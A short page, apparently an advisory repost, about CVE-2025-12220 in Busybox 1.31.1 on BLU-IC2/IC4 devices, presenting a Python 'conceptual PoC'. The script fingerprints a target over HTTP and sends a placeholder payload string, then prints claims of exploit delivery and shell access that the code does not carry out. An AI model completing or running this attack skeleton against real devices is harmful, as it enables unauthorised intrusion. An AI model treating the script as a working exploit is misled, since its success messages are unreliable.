CVE-2025-12220: Busybox 1.31.1 BLU-IC2/IC4多个高危漏洞

# CVE-2025-12220 PoC - Busybox/BLU-IC2/BLU-IC4 Remote Exploitation # Note: This is a conceptual PoC for demonstration purposes only import socket import sys def cve_2025_12220_poc(target_ip, target_port=80): """ PoC for CVE-2025-12220 affecting Busybox 1.31.1 and BLU-IC2/IC4 devices This PoC demonstrates the vulnerability exploitation concept """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] CVE-2025-12220: Busybox Multiple Vulnerabilities") # Stage 1: Service Discovery # Identify if Busybox-based service is running http_request = b"GET / HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request) response = sock.recv(1024) sock.close() if b"BusyBox" in response or b"BLU-IC" in response: print("[+] Busybox/BLU device detected") # Stage 2: Exploit Delivery # Craft malicious payload targeting vulnerable applet # This would contain shellcode/command injection exploit_payload = b"OVERFLOW_PAYLOAD_WITH_SHELLCODE" # Stage 3: Trigger Vulnerability sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(exploit_payload) print("[+] Exploit payload sent") # Stage 4: Establish Reverse Shell # Receive callback and execute commands print("[+] Checking for shell access...") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12220-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 cve_2025_12220_poc(target, port)